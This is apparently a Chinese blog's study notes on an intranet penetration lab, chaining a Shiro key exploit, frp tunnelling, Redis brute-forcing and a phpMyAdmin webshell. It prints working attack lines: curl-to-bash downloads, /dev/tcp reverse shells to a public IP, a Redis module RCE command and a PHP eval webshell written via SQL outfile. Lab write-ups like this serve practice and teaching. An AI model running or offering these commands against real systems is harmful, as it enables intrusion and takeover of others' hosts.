【学习笔记】基础:Puff Pastry练习(内网基础靶场)
靶场拓扑
搭建的时候struts2一直起不来,算了,基本都起来了,少打一个点,主要是练习一下包含内网渗透最基础的做法和思路
外网打点
模拟,拿到的只有一个ip
扫端口吧,直接fscan
web服务是个shiro框架的站,密钥都爆破出来了,那直接工具梭了
flag1
开个监听
然后弹shell,直接弹失败了,内存马传一个
静态文件是cdn的啊,换种方式,直接下马
1 | curl -sSL http://192.168.111.131:8081/server.sh | bash |
没反应
页面回显了脚本源码
看了下当前目录没这个脚本,应该是权限问题
1 | curl -sSL http://192.168.111.128:8081/server.sh -o /tmp/server.sh |
1 | chmod +x /tmp/server.sh |

然后再运行就弹过来了,看来是不支持执行多条命令
下个fscan扫下内网
多路输出shell
本地建立个多路shell的脚本
1 | echo 'bash -i >& /dev/tcp/120.27.131.154/404 0>&1 & bash -i >& /dev/tcp/120.27.131.154/8080 0>&1 &' > re.sh |
用shiro attack下载下来
1 | wget http://120.27.131.154:8080/re.sh -O /tmp/re.sh >/dev/null 2>&1 |
然后执行

下一步要上代理,懒得挂后台启动了,还是搞两个shell算了
内网渗透
资产收集
找到个网段,先扫吧
扫出来了,还是老版的fscan好用
扫出一个新资产有thinkphp5的洞
先上代理,大致做这些,之前写了个代理练习
| 机器 | IP | 角色 | 作用 |
|---|---|---|---|
| 公网服务器 | ip | frp服务端(frps) | 公开对外的frp服务端,供内网机器连接 |
| 跳板机 | 192.168.111.131 | frp客户端(frpc) | 连接公网frps,把内网资产暴露出去 |
| 内网目标机 | 192.168.100.3 | 内网资产 | 目标机,开放80端口 |
| 本地电脑 | 任意公网IP | 浏览器访问公网IP | 访问 ip:8888 来访问内网资产 |
接下来就是配置文件和启动frp |
服务器
frps.ini
1 | [common] |
然后启动frps
1 | ./frps -c frps.ini |
shiro靶机
frpc.ini
1 | [common] |
启动frpc
1 | ./frpc -c frpc.ini |
攻击机
直接访问http://ip:7500frp的web端
显示成功,直接访问http://ip:8888
thinkphp v5靶机
代理出来了,直接工具梭了
直接工具传马,然后连接一下
10段信息收集

有两张网卡,第一张的全打完了,打第二张
传了个fscan上去,然后反弹shell,虚拟终端太难操作了
1 | bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' |

扫描结果
有两个新资产,一个redis,一个phpmyadmin
redis与phpmyadmin

两个网段能ping通,说明可以直接上代理不需要做路由转发
接着还是要上代理啊
上代理
| 机器 | IP | 角色 | 作用 |
|---|---|---|---|
| 公网服务器 | ip | frps 服务端 |
公网服务器,充当外部访问的中转站,连接内网的 frpc |
| 跳板机 | 192.168.111.131 | frpc 客户端 |
连接公网服务器,代理内网资产并暴露它们 |
| 内网目标机 | 192.168.100.3 | 内网资产 | 被代理的目标,提供 HTTP 服务或者其他内网端口 |
| 其他内网机器 | 10.85.101.x | 内网其他资产 | phpMyAdmin, Redis, HTTPS 服务等 |
| 你本地电脑 | 任意公网IP | 浏览器访问公网IP | 通过 公网服务器 访问暴露的服务 |
~~在跳板机(shiro靶机)上改改frpc.ini |
1 | [common] |

出问题了,忽略了是多层内网环境,所以要在thinkphp靶机这搞个中继,然后再把流量拉到shiro那,然后再拉到公网服务器上
thinkphp靶机
frpc.ini
1 | [common] |
frps.ini
1 | [common] |
shiro靶机
frpc.ini
1 | [common] |
测试连接

redis

phpmyadmin

拿下redis
redis设置了密码,先爆破,用到个工具
1 | ./redisbrute -T 120.27.131.154:6380 -p ~/fuzzDicts-master/rockyou/rockyou.txt |
爆出了

尝试拿权
1 | python3 redis-master.py -r 120.27.131.154 -p 6380 -L 120.27.131.154 -P 403 -f RedisModulesSDK/exp.so -a "12345" -c "whoami" |

反弹shell没成功,等连上数据库看数据了,作罢
拿下phpmyadmin
这能怎么打,弱口令进去的,root:root

写webshell
1 | select '<?php @eval($_POST[1])?>' into outfile '/var/www/html/shell.php' |
肥肠尴尬
看看安全参数
1 | show global variables like '%secure%' |
secure_file_priv 变量为空啊,没道理啊
这个又能成功select '<?php @eval($_POST[1])?>' into outfile '/tmp/shell.php';
结束
感觉是非预期了环境,算了,先熟悉下流程吧



![[记录]尝试shiro有key无链利用,但失败](/img/c1/3.webp)

